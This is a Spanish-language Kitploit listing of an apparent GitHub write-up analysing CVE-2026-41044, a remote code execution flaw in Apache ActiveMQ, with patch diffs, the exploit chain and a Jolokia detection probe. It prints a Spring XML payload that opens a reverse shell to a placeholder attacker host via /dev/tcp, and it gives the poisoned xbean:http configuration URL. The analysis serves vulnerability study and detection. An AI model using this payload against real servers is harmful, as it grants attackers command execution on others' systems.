Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-41044 — # Recorrido educativo y prueba de concepto para CVE-2026-41044, un RCE de Apache ActiveMQ, con análisis de causa raíz y script de detección. | Kitploit
Herramientas/GitHubGitHub/mrillicit/cve-2026-41044
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

# Recorrido educativo y prueba de concepto para CVE-2026-41044, un RCE de Apache ActiveMQ, con análisis de causa raíz y script de detección.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-41044

Nota: Solo con fines educativos

Del Aviso al RCA en una Tarde: Cómo la IA Colapsa el Análisis de N-Days

Un recorrido breve y honesto de CVE-2026-41044 en Apache ActiveMQ usando el código exacto anterior y posterior al parche.


CVE-2026-41044 fue divulgado el 24 de abril de 2026. Es un bug de ejecución remota de código en Apache ActiveMQ Classic, encontrado por jsjcw, parcheado en 5.19.6 y 6.2.5. No lo encontré yo.

Lo que quiero mostrar es cómo alguien que nunca ha tocado ActiveMQ antes puede producir un exploit funcional de un N-day en una tarde, porque el código parcheado es público, el código sin parchear es público, y la brecha entre ambos está a un git diff de distancia.


Parte 1: El flujo de trabajo

El proceso es simple:

  1. Lee el aviso, anota los archivos afectados, el CWE y cualquier nombre de función mencionado.
  • Revisa la última versión vulnerable y la primera versión parcheada lado a lado.
  • Pide a un modelo que compare los archivos relevantes y explique cada cambio.
  • Reproduce la cadena en un laboratorio local y prueba de extremo a extremo.
  • Lo que solía tomar días ahora toma una tarde. La IA no encuentra bugs. Lee código y lo explica tan rápido como puedas hacer preguntas. La parte costosa sigue siendo tú: decidir qué es realmente explotable, dónde están los verdaderos límites de confianza, qué necesita verificación. El modelo simplemente recorre grafos de llamadas más rápido de lo que cualquier humano puede.

    El punto más amplio: si tu flujo de trabajo de parcheo asume una semana de tiempo de análisis por CVE, estás en la línea de tiempo antigua. git diff tiene la misma longitud ya sea que estés escribiendo detección o exploits.


    Parte 2: CVE-2026-41044

    ¿Qué es ActiveMQ?

    ActiveMQ es un broker de mensajes. Se sitúa en el medio y pasa mensajes entre aplicaciones. Piénsalo como una oficina de correos: las aplicaciones dejan mensajes, ActiveMQ los entrega al destinatario correcto. Está ampliamente desplegado en stacks Java empresariales y expone una consola web y una API de gestión REST llamada Jolokia en /api/jolokia/. Las credenciales predeterminadas en muchos despliegues siguen siendo admin:admin.


    La vulnerabilidad en una frase

    ActiveMQ permitía a cualquier usuario autenticado cargar una configuración de broker desde una URL HTTP arbitraria, que Spring analizaba y ejecutaba inmediatamente como objetos Java - incluyendo ProcessBuilder - otorgando al atacante ejecución completa de comandos del sistema operativo en el servidor del broker.


    Antecedentes: los términos que necesitas

    • Broker: el servidor ActiveMQ en ejecución. Identificado por un nombre, por defecto localhost.
    • Jolokia: un puente HTTP-a-JMX en /api/jolokia/ que expone operaciones de gestión como una API REST. Cualquier credencial válida de la consola web llega a él - no solo admin.
    • Transporte vm://: el transporte en proceso utilizado cuando un cliente vive en el mismo JVM que el broker. Acepta un parámetro de consulta ?brokerConfig= que apunta a una configuración XML de Spring para arrancar un broker desde ella.
    • xbean:: un esquema de URL que le dice a ActiveMQ que trate la URL como una configuración XML de Spring y la cargue.
    • Beans de Spring / init-method: Spring lee XML y crea automáticamente objetos Java (beans). El atributo init-method le dice a Spring que llame a un método en el bean en el momento en que se crea - antes de que cualquier otra cosa se ejecute.
    • ProcessBuilder: una clase Java estándar que ejecuta comandos del sistema operativo. ProcessBuilder.start() ejecuta el comando.

    La cadena: cinco capas, código real

    Capa 1 - DestinationView construye una URL mediante concatenación de cadenas

    DestinationView.sendTextMessage() en 5.19.2 construye una URL de conexión del broker concatenando directamente el nombre del broker en una cadena:

    root@kitploit:~
    // 5.19.2 - DestinationView.sendTextMessage()
    String brokerUrl = "vm://" + broker.getBrokerName();
    ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
    

    Si getBrokerName() devuelve localhost?brokerConfig=xbean:http://attacker/poison.xml, toda esa cadena se convierte en una URI vm:// válida con un parámetro de consulta incrustado. ActiveMQConnectionFactory se lo entrega a VMTransportFactory, que extrae el parámetro brokerConfig y lo usa como la URL de configuración de arranque del broker.

    El fix en 5.19.6 es una línea:

    root@kitploit:~
    // 5.19.6 - DestinationView.sendTextMessage()
    URI brokerUrl = broker.getVmConnectorURI();
    

    String se convierte en URI - la concatenación accidental ya no es posible. El valor proviene de un objeto URI preconstruido e inmutable derivado del conector VM real registrado del broker, no de una cadena de nombre mutable.


    Capa 2 - El punto de envenenamiento en RegionBroker

    Para que la Capa 1 sea explotable, el nombre del broker tiene que ser envenenado primero. BrokerService siempre ha saneado los nombres de broker:

    root@kitploit:~
    // BrokerService.setBrokerName() - presente en AMBAS versiones
    private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
    brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
    

    Esa expresión regular elimina ? y = limpiamente. El CVE existía porque RegionBroker tenía su propio setter separado que no lo hacía:

    root@kitploit:~
    // 5.19.2 - RegionBroker.java
    private String brokerName;           // mutable
    
    public void setBrokerName(String brokerName) {
        this.brokerName = brokerName;    // sin validación alguna
    }
    

    Este es un clásico deputy confundido - dos setters en clases relacionadas, solo uno de ellos saneando. Un peer remoto que transmite un paquete BrokerInfo manipulado con un campo de nombre envenenado llega directamente a RegionBroker.setBrokerName(), evitando por completo la expresión regular de BrokerService.

    El fix en 5.19.6 elimina el setter, hace el campo final y lo inicializa una vez desde el padre ya saneado:

    root@kitploit:~
    // 5.19.6 - RegionBroker.java
    private final String brokerName;     // inmutable
    
    public RegionBroker(BrokerService brokerService, ...) {
        this.brokerName = Objects.requireNonNull(
            brokerService.getBrokerName(), "The broker name cannot be null");
        // setBrokerName() ha desaparecido. Ya no hay setter.
    }
    

    No puedes evadir un saneador que no tiene escritor paralelo.


    Capa 3 - VMTransportFactory: deliberadamente sin cambios

    VMTransportFactory.doCompositeConnect() es la función que toma la URI vm://...?brokerConfig=..., extrae el parámetro brokerConfig y llama a BrokerFactory.createBroker(brokerURI). Es el mecanismo de activación de toda la cadena.

    Apache no cambió absolutamente nada aquí.

    Esa elección te dice algo sobre cómo pensaron el fix. VMTransportFactory está haciendo trabajo legítimo - se supone que los transportes vm:// aceptan configuraciones de arranque. Parchearlo habría roto el diseño previsto. En su lugar, Apache arregló el bug en la fuente (Capa 2: ningún nombre envenenado puede ser escrito) y en el sumidero (Capa 5: incluso si una URL envenenada pasara, el resolvedor de recursos no la obtendrá).

    Arregla las capas donde pertenece la validación, no la capa por donde el atacante pasó.


    Capa 4 - XBeanBrokerFactory entrega la URI a Spring

    root@kitploit:~
    // XBeanBrokerFactory - igual en ambas versiones
    protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        Resource resource = Utils.resourceFromString(uri);   // Capa 5
        return new ResourceXmlApplicationContext(resource) { ... };
    }
    

    ResourceXmlApplicationContext(resource) es donde Spring hace lo suyo - el init-method de cada bean se ejecuta en la construcción del contexto, antes de que el BrokerService de ActiveMQ valide el resultado. No hay parche que hacer aquí. El contrato de Spring es correcto tal como está diseñado. El bug era que ActiveMQ dependía de que la validación ocurriera antes de la instanciación, y Spring no promete ese orden.


    Capa 5 - Utils.resourceFromString: el fix primitivo real

    Esta es la función que decidía si xbean:http://attacker/poison.xml debía ser obtenida. En 5.19.2:

    root@kitploit:~
    // 5.19.2 - Utils.java
    public static Resource resourceFromString(String uri) throws MalformedURLException {
        if (new File(uri).exists()) {
            return new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            return new UrlResource(ResourceUtils.getURL(uri));  // ¿http? ¿ftp? ¿jar? sin comprobación.
        } else {
            return new ClassPathResource(uri);
        }
    }
    

    Sin filtro de protocolo. http://, https://, ftp://, jar:// - todos aceptados silenciosamente.

    El fix de 5.19.6 añade una lista blanca explícita. Solo file y classpath están permitidos por defecto. Todo lo demás lanza una excepción antes de que UrlResource sea siquiera construido:

    root@kitploit:~
    // 5.19.6 - Utils.java
    public static final String FILE_PROTOCOL      = "file";
    public static final String CLASSPATH_PROTOCOL = "classpath";
    
    public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
            throws MalformedURLException {
        // ...
        } else if (ResourceUtils.isUrl(uri)) {
            validateUrlAllowed(uri, allowedProtocols);           // lanza si http/https/etc
            resource = new UrlResource(ResourceUtils.getURL(uri));
        }
    }
    
    static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
            throws URISyntaxException {
        if (allowedProtocols != null) {
            final String detectedProtocol = getProtocolFromScheme(uriString);
            if (!allowedProtocols.contains(detectedProtocol)) {
                throw new IllegalArgumentException("URL [" + uriString +
                        "] uses protocol '" + detectedProtocol + "' which is not allowed");
            }
        }
    }
    

    XBeanBrokerFactory ahora pasa {file, classpath} como lista blanca. Incluso si un nombre de broker envenenado llegara a esta función en una versión futura, http://attacker/poison.xml lanzaría una excepción antes de que Spring lo viera.


    Cómo se ve el payload del exploit

    root@kitploit:~
    <beans xmlns="http://www.springframework.org/schema/beans" ...>
      <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    En el momento en que Spring construye el ApplicationContext, init-method="start" se dispara en el bean ProcessBuilder. La validación de BrokerService.start() de ActiveMQ se ejecuta después. Para entonces el shell ya se ha conectado de vuelta.


    Sobre el PoC y los dos caminos

    Hay dos formas de llegar al sumidero vulnerable Utils.resourceFromString:

    El camino completo de producción (lo que describe el aviso):

    root@kitploit:~
    Un peer remoto envía un paquete BrokerInfo manipulado
      -> RegionBroker.setBrokerName() almacena el nombre envenenado sin validación
        -> DestinationView.sendTextMessage() lo concatena en una URL vm://
          -> VMTransportFactory extrae el parámetro brokerConfig
            -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE de Spring
    

    El camino corto (lo que usa poc.sh):

    root@kitploit:~
    BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
      -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE de Spring
    

    El PoC toma el camino corto por una razón práctica: el camino completo requiere configurar un segundo broker ActiveMQ como peer de red que envíe un paquete BrokerInfo manipulado al objetivo - una interacción broker-a-broker que necesita una configuración de laboratorio más compleja. El camino corto funciona con un solo broker y un servidor HTTP básico.

    Ambos caminos golpean la misma primitiva vulnerable. El PoC confirma que el sumidero es explotable y que el CVE está presente en el objetivo. Si quieres reproducir el punto de entrada exacto descrito en el aviso, necesitas añadir el paso broker-a-broker.


    Detección

    El PoC se ejecuta en modo solo-detección por defecto. Sondea dos señales:

    Comprobación de banner - lee BrokerVersion vía Jolokia:

    • < 5.19.6 o 6.0.0 - 6.2.4 = rango vulnerable

    Comprobación de comportamiento - llama a addNetworkConnector("vm://probe") vía Jolokia:

    • Parcheado (5.19.6+) devuelve: Transport scheme 'vm' is not allowed
    • Vulnerable devuelve una IOException DiscoveryAgent scheme NOT recognized

    El rechazo en la versión parcheada proviene de BrokerView.validateAllowedUrl() - una lista de denegación separada añadida directamente a la operación JMX addNetworkConnector en 5.19.6, no de Utils.resourceFromString. Estos son dos fixes independientes: uno protege la superficie de gestión JMX, el otro protege la primitiva de carga de recursos descrita en la Capa 5. La sonda de comportamiento prueba el primero.


    El fix resumido

    CapaVulnerable (5.19.2)Parcheado (5.19.6)
    DestinationViewconcatenación de cadena "vm://" + brokerNamebroker.getVmConnectorURI() URI inmutable
    RegionBrokercampo mutable, setter sin saneamientocampo final, setter eliminado, inicializado desde el padre saneado
    VMTransportFactorysin cambiossin cambios (por diseño)
    XBeanBrokerFactoryllama a Utils.resourceFromString(uri)llama a Utils.resourceFromString(uri, allowedProtocols)
    Utils.resourceFromStringobtiene cualquier esquema de URLlista blanca aplicada - solo file y classpath por defecto

    Referencias y créditos

    • Aviso de Apache: CVE-2026-41044
    • Parcheado en ActiveMQ Classic 5.19.6 y 6.2.5
    • Descubrimiento de la vulnerabilidad: jsjcw
    • CVE hermano para contexto: CVE-2026-34197 (Horizon3.ai)
    • El código en esta publicación está verificado directamente de los árboles fuente 5.19.2 y 5.19.6
    • Guiado por Varshit Modi, generado con asistencia de IA.
    Descargar herramienta